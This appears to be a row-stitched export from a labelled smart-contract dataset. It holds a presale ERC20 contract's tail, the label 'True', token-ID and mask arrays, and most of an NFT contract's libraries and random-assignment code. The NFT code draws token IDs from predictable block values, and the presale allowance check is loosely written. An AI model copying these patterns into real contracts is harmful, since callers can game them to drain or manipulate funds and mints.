_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function buyToken() public payable{
require(msg.sender!=address(0), "Presale: buyer cannot be address zero.");
require(msg.value > 0, "Presale: value can't be zero");
require(filter_blacklist(msg.sender)==false, "Presale: Address Blacklisted.");
require(buy_allowance_left_by_user(msg.sender)>msg.value, "Presale: Allowance per buyer Exceed.");
uint256 total_transfer_amount = predict_token_value(msg.value);
presale.token_sold += total_transfer_amount;
uint256 transfer_amount = (total_transfer_amount*presale.percent_on_purchase)/100;
amount_spend_per_user[msg.sender] += msg.value;
presale_purchased_per_user[msg.sender] += total_transfer_amount;
presale_received_per_user[msg.sender] += transfer_amount;
payable(presale.funding_address).transfer(msg.value); // fund is going to the presale funding address.
_transfer(presale.presale_wallet, msg.sender, transfer_amount); // tokens are transfer as per the calculated value with the bnb, token rate and the percent of distribution in advance.
}
function predict_token_value(uint256 amount_in_wei) public view returns(uint256) {
return (amount_in_wei*presale.token_rate)/(10**18);
}
function changeTokenRate(uint256 tokens_with_decimals_per_eth) public onlyOwner {
presale.token_rate = tokens_with_decimals_per_eth;
}
function startPresale() public onlyOwner {
presale.is_started = true;
}
function endPresale() public onlyOwner {
presale.is_started = false;
}
function change_max_buy_limit(uint256 new_buy_limit_in_eth) public onlyOwner {
presale.max_buy_limit = new_buy_limit_in_eth;
}
function add_to_blacklist(address[] memory address_array) public onlyOwner {
for(uint i = 0; i < address_array.length; i ++ ){
blacklist.push(address_array[i]);
}
}
function get_blacklist() public view returns(address[] memory) {
return blacklist;
}
function filter_blacklist(address _address) private view returns(bool) {
bool is_exist = false;
for(uint i = 0; i < blacklist.length; i++){
if(blacklist[i]==_address){
is_exist = true;
}
}
return is_exist;
}
function buy_allowance_left_by_user(address _address) public view returns(uint256) {
return presale.max_buy_limit - amount_spend_per_user[_address];
}
function Airdrop_for_presale(address[] memory address_array, uint256[] memory amount_array) public onlyOwner {
// Please make sure that the two parameter are array.
// Please make sure that the amount of tokens should be multiplied by the decimals.
for(uint i = 0; i < address_array.length; i++){
_transfer(msg.sender, address_array[i], amount_array[i]);
presale_received_per_user[address_array[i]] += amount_array[i];
}
}
function Airdrop(address[] memory address_array, uint256[] memory amount_array) public {
for(uint i =0; i< address_array.length; i++){
_transfer(msg.sender, address_array[i], amount_array[i]);
}
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5511,
1011,
6185,
1008,
1013,
1013,
1013,
5371,
1024,
13045,
1035,
14184,
1032,
2330,
4371,
27877,
2378,
1011,
5024,
3012,
1032,
8311,
1032,
21183,
12146,
1032,
6123,
1012,
14017,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
1013,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
18804,
1011,
11817,
1996,
4070,
6016,
1998,
1008,
7079,
2005,
7781,
2089,
2025,
2022,
1996,
5025,
4604,
2121,
1006,
2004,
2521,
2004,
2019,
4646,
1008,
2003,
4986,
1007,
1012,
1008,
1008,
2023,
3206,
2003,
2069,
3223,
2005,
7783,
1010,
3075,
1011,
2066,
8311,
1012,
1008,
1013,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
1035,
5796,
2290,
2850,
2696,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
27507,
2655,
2850,
2696,
1007,
1063,
2023,
1025,
1013,
1013,
4223,
2110,
14163,
2696,
8553,
5432,
2302,
11717,
24880,
16044,
1011,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
5024,
3012,
1013,
3314,
1013,
25717,
2487,
2709,
5796,
2290,
1012,
2951,
1025,
1065,
1065,
1013,
1013,
5371,
1024,
2330,
4371,
27877,
2378,
1011,
5024,
3012,
1032,
8311,
1032,
3229,
1032,
2219,
3085,
1012,
14017,
1013,
1008,
1008,
1008,
1030,
16475,
3206,
11336,
2029,
3640,
1037,
3937,
3229,
2491,
7337,
1010,
2073,
1008,
2045,
2003,
2019,
4070,
1006,
2019,
3954,
1007,
2008,
2064,
2022,
4379,
7262,
3229,
2000,
1008,
3563,
4972,
1012,
1008,
1008,
2011,
12398,
1010,
1996,
3954,
4070,
2097,
2022,
1996,
2028,
2008,
21296,
2015,
1996,
3206,
1012,
2023,
1008,
2064,
2101,
2022,
2904,
2007,
1063,
4651,
12384,
2545,
5605,
1065,
1012,
1008,
1008,
2023,
11336,
2003,
2109,
2083,
12839,
1012,
2009,
2097,
2191,
2800,
1996,
16913,
18095,
1008,
1036,
2069,
12384,
2121,
1036,
1010,
2029,
2064,
2022,
4162,
2000,
2115,
4972,
2000,
21573,
2037,
2224,
2000,
1008,
1996,
3954,
1012,
1008,
1013,
10061,
3206,
2219,
3085,
2003,
6123,
1063,
4769,
2797,
1035,
3954,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
3988,
10057,
1996,
3206,
4292,
1996,
21296,
2121,
2004,
1996,
3988,
3954,
1012,
1008,
1013,
9570,
2953,
1006,
1007,
1063,
4769,
5796,
5620,
10497,
2121,
1027,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
1025,
1035,
3954,
1027,
5796,
5620,
10497,
2121,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
1006,
1014,
1007,
1010,
5796,
5620,
10497,
2121,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
4769,
1997,
1996,
2783,
3954,
1012,
1008,
1013,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-01-15
*/
//Larva Pacas is a paca-level play on the CryptoPunks and Larva Lads. Take them home as they are so cute.
//0.01 ETH per mint, only 1888 Larva Pacas total! Much rare very Pacas, max 20 Pacas per tx.
//Mint only from contract, watch DeFiant and learn how to do so: https://www.youtube.com/watch?v=GZca6HOcPa0
//Follow us at https://twitter.com/LarvaPacas
// MMMMMMMMMMMMMMMMNNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMyssdmMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMmhhhdMMMMmdssyhhmMMmhhmMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMNhysyyyhyyssssshNyysmNMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMdysssydysssssssysssyhmMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMmhyssssssssssssssssysyhNMMMMMMMMMMMMMMMMM
// MMMMMMMMMNNmssssssssssssssssNhsymMMMMMMMMMMMMMMMMM
// MMMMMMMMNyddsssso++sss+osssyMmdMMMMMMMMMMMMMMMMMMM
// MMMMMMMmdyyyyo+/////+o///sssdNMMMMMMMMMMMMMMMMMMMM
// MMMMMMMNNNNNNs+-yy/-+d/:-yyyNNMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMh--:+------MMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMy+--/s------sdMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMo:-hdddo----/hMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMmy----------MMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMo::::::::---hmMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMmy--------:/++++++++oNMMMMNNMMMMMMMMM
// MMMMMMMMMMMMMmy-------+//---------:ydd+:/mMMMMMMMM
// MMMMMMMMMMMMM+-------:/:--------------:/yNMMMMMMMM
// MMMMMMMMMMMMN/:yyyyyo-yyyyyy----------/sMMMMMMMMMM
// MMMMMMMMMMMms:://///oho+////----:/hhs-/sMMMMMMMMMM
// MMMMMMMMMMMNyo/:::::/oho::::yyyyys-:/+shMMMMMMMMMM
// MMMMMMMMMMMMMmddddddmMddddddMMMMs//+sdNMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNmmmNMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// File: contracts/Counters.sol
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: contracts/WithLimitedSupply.sol
pragma solidity ^0.8.0;
/// @author 1001.digital
/// @title A token tracker that limits the token supply and increments token IDs on each new mint.
abstract contract WithLimitedSupply {
using Counters for Counters.Counter;
// Keeps track of how many we have minted
Counters.Counter private _tokenCount;
/// @dev The maximum count of tokens this token tracker will hold.
uint256 private _maxSupply;
/// Instanciate the contract
/// @param totalSupply_ how many tokens this collection should hold
constructor (uint256 totalSupply_) {
_maxSupply = totalSupply_;
}
/// @dev Get the max Supply
/// @return the maximum token count
function maxSupply() public view returns (uint256) {
return _maxSupply;
}
/// @dev Get the current token count
/// @return the created token count
function tokenCount() public view returns (uint256) {
return _tokenCount.current();
}
/// @dev Check whether tokens are still available
/// @return the available token count
function availableTokenCount() public view returns (uint256) {
return maxSupply() - tokenCount();
}
/// @dev Increment the token count and fetch the latest count
/// @return the next token id
function nextToken() internal virtual ensureAvailability returns (uint256) {
uint256 token = _tokenCount.current();
_tokenCount.increment();
return token;
}
/// @dev Check whether another token is still available
modifier ensureAvailability() {
require(availableTokenCount() > 0, "No more tokens available");
_;
}
/// @param amount Check whether number of tokens are still available
/// @dev Check whether tokens are still available
modifier ensureAvailabilityFor(uint256 amount) {
require(availableTokenCount() >= amount, "Requested number of tokens not available");
_;
}
}
// File: contracts/RandomlyAssigned.sol
pragma solidity ^0.8.0;
/// @author 1001.digital
/// @title Randomly assign tokenIDs from a given set of tokens.
abstract contract RandomlyAssigned is WithLimitedSupply {
// Used for random index assignment
mapping(uint256 => uint256) private tokenMatrix;
// The initial token ID
uint256 private startFrom;
/// Instanciate the contract
/// @param _maxSupply how many tokens this collection should hold
/// @param _startFrom the tokenID with which to start counting
constructor (uint256 _maxSupply, uint256 _startFrom)
WithLimitedSupply(_maxSupply)
{
startFrom = _startFrom;
}
/// Get the next token ID
/// @dev Randomly gets a new token ID and keeps track of the ones that are still available.
/// @return the next token ID
function nextToken() internal override ensureAvailability returns (uint256) {
uint256 maxIndex = maxSupply() - tokenCount();
uint256 random = uint256(keccak256(
abi.encodePacked(
msg.sender,
block.coinbase,
block.difficulty,
block.gaslimit,
block.timestamp
)
)) % maxIndex;
uint256 value = 0;
if (tokenMatrix[random] == 0) {
// If this matrix position is empty, set the value to the generated random number.
value = random;
} else {
// Otherwise, use the previously stored number from the matrix.
value = tokenMatrix[random];
}
// If the last available tokenID is still unused...
if (tokenMatrix[maxIndex - 1] == 0) {
// ...store that ID in the current matrix position.
tokenMatrix[random] = maxIndex - 1;
} else {
// ...otherwise copy over the stored number to the current matrix position.
tokenMatrix[random] = tokenMatrix[maxIndex - 1];
}
// Increment counts
super.nextToken();
return value + startFrom;
}
}
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
